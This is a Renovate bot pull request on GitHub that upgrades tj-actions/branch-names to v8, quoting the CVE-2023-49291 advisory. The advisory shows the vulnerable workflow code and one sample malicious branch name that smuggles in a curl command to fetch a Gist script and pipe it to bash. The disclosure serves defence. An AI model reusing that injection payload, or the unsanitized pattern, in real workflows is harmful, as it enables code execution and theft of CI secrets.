Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): update tj-actions/branch-names action to v8 [security] #343

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Jun 17, 2024

Mend Renovate

This PR contains the following updates:

Package Type Update Change
tj-actions/branch-names action major v6 -> v8

GitHub Vulnerability Alerts

CVE-2023-49291

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference


Release Notes

tj-actions/branch-names (tj-actions/branch-names)

v8

Compare Source

Changes in v8.0.1

What's Changed

Full Changelog: tj-actions/branch-names@v8...v8.0.1


Changes in v8.0.0

Major version to prevent errors with dependabot upgrades.

What's Changed

Full Changelog: tj-actions/branch-names@v7...v8.0.0


v7

Compare Source

Changes in v7.0.7
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.7


Changes in v7.0.6
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.6


Changes in v7.0.5
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.5


Changes in v7.0.4
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.4


Changes in v7.0.3
What's Changed
New Contributors

Full Changelog: tj-actions/branch-names@v7...v7.0.3


Changes in v7.0.2
What's Changed

Full Changelog: tj-actions/branch-names@v7.0.1...v7.0.2


Changes in v7.0.1
What's Changed

Full Changelog: tj-actions/branch-names@v7...v7.0.1


Changes in v7.0.0
What's Changed

Full Changelog: tj-actions/branch-names@v6...v7.0.0



Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot added dependencies Pull requests that update a dependency file ready for review labels Jun 17, 2024
@renovate renovate bot requested a review from trs June 17, 2024 15:15
@renovate renovate bot force-pushed the renovate/github-tags-tj-actions/branch-names-vulnerability/VF-000 branch from 6566599 to 3f89da3 Compare June 21, 2024 09:16
Copy link

sonarcloud bot commented Jun 21, 2024

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
dependencies Pull requests that update a dependency file ready for review
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

0 participants